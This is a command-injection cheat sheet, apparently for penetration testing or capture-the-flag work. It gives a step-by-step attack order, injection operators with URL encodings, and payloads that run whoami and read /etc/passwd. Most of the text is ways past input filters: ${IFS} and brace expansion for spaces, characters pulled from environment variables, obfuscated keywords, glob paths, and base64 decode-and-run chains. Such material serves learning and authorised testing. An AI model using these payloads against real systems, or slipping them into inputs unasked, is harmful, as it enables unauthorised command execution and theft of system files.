Command Injection

Attack order

1. Append each operator after the normal value, one at a time, until output appears: ; %0a && || & |
2. Confirmed? run id, hostname, cat /etc/passwd
3. Space blocked? → %09 / ${IFS} / {cat,/etc/passwd}
4. Slash/semicolon blocked? → ${PATH:0:1} (gives /), ${LS_COLORS:10:1} (gives ;)
5. Keyword blocked? → quotes / $@ / backslash / case-flip / reverse
6. Last resort → base64 decode-and-run

Injection operators

Operator	Raw	URL-encoded	Behaviour
Semicolon	;	%3b	runs both
Newline	\n	%0a	runs both
Background	&	%26	runs both
Pipe	|	%7c	second output only
AND	&&	%26%26	second if first succeeds
OR	||	%7c%7c	second if first fails
Sub-shell	$()	%24%28%29	inline (Linux)

Semicolon:

127.0.0.1; whoami

Newline URL-encoded (most reliable, rarely blacklisted):

127.0.0.1%0awhoami

AND URL-encoded:

127.0.0.1%26%26whoami

Sub-shell:

$(whoami)

Space bypass

URL-encoded tab:

%09whoami

IFS variable:

cat${IFS}/etc/passwd

Brace expansion (no space needed):

{cat,/etc/passwd}

Slash / special char bypass

Extract / from PATH:

${PATH:0:1}

Extract ; from LS_COLORS:

${LS_COLORS:10:1}

Command obfuscation (keyword filter bypass)

Quotes inside the command:

w'h'o'am'i

Dollar-at (expands to nothing):

who$@ami

Backslash:

w\ho\am\i

Case swap via tr:

$(tr "[A-Z]" "[a-z]"<<<"WhOaMi")

Reverse the string:

$(rev<<<'imaohw')

Base64 decode-and-run:

bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)

Glob matching (no keywords)

/???/??t matches /bin/cat:

/???/??t /etc/passwd

Combined bypasses (URL-encoded for GET)

Newline + base64 + tab:

%0abash<<<$(base64%09-d<<<Y2F0IC9mbGFnLnR4dA==)

Newline + cat with quotes + IFS + PATH slash:

%0ac'at'${IFS}${PATH:0:1}flag.txt